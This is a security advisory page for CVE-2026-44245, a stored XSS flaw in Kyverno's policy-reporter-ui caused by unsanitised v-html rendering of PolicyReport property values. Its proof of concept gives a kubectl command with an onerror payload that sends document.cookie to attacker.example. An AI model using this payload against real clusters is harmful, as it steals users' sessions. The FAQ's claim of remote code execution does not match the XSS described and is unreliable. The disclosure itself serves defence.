CVE-2026-44245: Kyverno: [policy-reporter-ui] XSS via Stored Property Values in PropertyCard Component

Published May 6, 2026
·
Updated

Summary Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., <img src=x onerror=alert(1)> padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.

This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.

PoC

Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)

Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser. bash kubectl apply -f - <<'EOF' apiVersion: wgpolicyk8s.io/v1alpha2 kind: PolicyReport metadata: name: xss-poc namespace: default results: - message: "test" policy: xss-test-policy rule: check-rule result: fail properties: # Value > 75 chars and not an http/https URL -> routed to v-html sink advisory: "<img src=x onerror=\"fetch('https://attacker.example/c?c='+document.cookie)\"> padding padding padding" EOF Once a UI user opens the results table for the 'default' namespace and expands the 'xss-test-policy' result row, the onerror handler fires and exfiltrates their session cookies to attacker.example <img width="1562" height="1061" alt="Снимок экрана — 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" /> <img width="1041" height="939" alt="Снимок экрана — 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" />

Impact XSS

Other sources

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/kyverno/policy-reporter-ui<=2.5.1
2.5.2
Kyverno policy-reporter-ui<2.5.2

Event History

May 6, 2026
Advisory Published
via GitHub·10:11 PM
Data Sourced
via GitHub·10:11 PM
DescriptionSeverityWeaknessAffected Software
May 12, 2026
CVE Published
via MITRE·10:46 PM
Data Sourced
via MITRE·10:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44245?

The severity of CVE-2026-44245 is currently classified as critical due to its potential for remote code execution.

2

How do I fix CVE-2026-44245?

To fix CVE-2026-44245, update the package to version 2.5.2 or later of the github.com/kyverno/policy-reporter-ui.

3

What causes CVE-2026-44245?

CVE-2026-44245 is caused by the use of the v-html directive in Vue 3 without proper input sanitization.

4

Which versions of the software are affected by CVE-2026-44245?

Versions 2.5.1 and earlier of the github.com/kyverno/policy-reporter-ui package are affected by CVE-2026-44245.

5

What functionalities are compromised by CVE-2026-44245?

CVE-2026-44245 compromises the safety of user-generated content through HTML injection, potentially leading to security breaches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203